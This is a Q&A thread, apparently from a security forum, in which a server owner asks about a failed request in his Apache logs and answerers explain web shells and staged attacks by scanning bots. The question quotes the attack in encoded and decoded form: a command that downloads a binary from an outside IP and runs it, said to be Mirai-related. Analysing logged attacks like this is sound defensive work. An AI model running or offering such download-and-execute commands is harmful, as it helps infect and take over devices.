4

I was browsing my apache logs, and I found the following request (which resulted in a 404):

106.75.130.216 - - [DD/MMM/YYYY:hh:mm:ss] "GET /shell?%63%64%20%2F%74%6D%70%3B%77%67%65%74%20%68%74%74%70%3A%2F%2F%36%31%2E%31%36%30%2E%32%31%33%2E%32%38%3A%35%34%33%32%31%2F%64%6C%72%2E%61%72%6D%3B%63%68%6D%6F%64%20%37%37%37%20%2A%3B%2E%2F%64%6C%72%2E%61%72%6D HTTP/1.1" 404 396 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

The bit of hex in the GET URL decodes to the following:

cd /tmp;wget http://61.160.213.28:54321/dlr.arm;chmod 777 *;./dlr.arm

So, it's an attempt to get my server to serve up a shell, then download and execute some file clled dlr.arm.

What would it take for this attack to be successful?

  • The attacker makes the assumption that there is a script at /shell which accepts arbitrary commands. That seems to be a really long shot. – Arminius Mar 26 '17 at 18:39
  • @Arminius: Either a really long shot, or the assumption that a previous request made such script available... – WhiteWinterWolf Mar 26 '17 at 18:43
  • That's what I was thinking. I can't imagine anyone would do that on purpose. And if an attacker could somehow coerce you into doing that, then why not just skip to downloading and executing this file instead? Why the extra step? – Bill Kronholm Mar 26 '17 at 18:44
  • @WhiteWinterWolf what would such a request look like? – Bill Kronholm Mar 26 '17 at 18:50
  • @WhiteWinterWolf I favour the theory that the attacker is just guessing because the file name is shell while the payload is somewhat obfuscated. If the attacker had planted the file beforehand, they could have chosen a less suspicious name. – Arminius Mar 26 '17 at 18:52
4

This request tries to contact something located at the URL /shell and which takes as parameter a set of shell commands to execute.

While the shell commands to execute may seem obfuscated at first, most chances are that actually they are not. Shell commands may often contain characters which have a special meaning in HTTP URLs, so to keep the commands from being corrupted by either the HTTP client or server the easiest solution is simply to HTTP encode it completely (this is less a matter of obfuscation than the fact that the attacker most likely don't care about the URL readability).

Regarding this /shell URL which (fortunately!) was not found on your server, there are two main possibilities:

  1. This may be the name of a resource specific to the service targeted by the attacker. The name of the file that this commands tries to download seems to indicate it is expecting an ARM device, so the attacker may be a bot scanning the Internet for a specific vulnerable embedded device where this /shell URL is present and enabled by default (for instance a debug feature left enabled by a manufacturer. Bad things happens...).
  2. Another possibility is that this request is not the first step of the attack. The attacker may already have taken one or several step(s) before this one which, when facing a vulnerable server, would have lead to the creation of this /shell script server-side. These previous steps could have been really anything which would have coerced the server or the service it runs in somehow generating this /shell file or accepting to upload it.

In your comments, regarding the second option you seem to wonder why to act in two (or more) steps. When an attacker gets its first foot on a target, most often he has to face various limitations in terms of size and content of the payload he may execute (for instance he may be able to upload/create only ASCII files, or the content must be shorter than 100 characters, etc.).

Therefore, in order to fully-compromise a machine, he will first drop a first-stage payload which will be the bare minimum allowing him to download a full fledged binary payload as a second step. The classical way is to create server-side a script which will run any shell command passed as parameter (a classical web shell). Access to such web shell would produce exactly the same kind of log than quoted in your question.

And at last, as to why proceed with the following steps if the previous apparently did not work, again two possibilities:

  • Depending on the exploit details, it happens that the attacker may have no definitive feedback during the first steps allowing him to clearly define if the server is vulnerable or not. He will know it if the attack succeeded and contacting `/shell' URL does not throw a 404 error message but properly download and execute the second stage payload.
  • Some bots scanning the Internet are developed in a quick and dirty way and just blindly execute all steps of a given attack on all servers found in an IP range, ignoring the server response. Vulnerable machines, by executing the second stage payload, will call-back the attacker by themselves.
  • 1
    Thanks for the great, detailed answer. After a little poking around, it seems that the shell code was designed to download the Mirai virus source code for an ARM (or at the very least something with the same file name) and then execute it. – Bill Kronholm Mar 27 '17 at 4:03

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.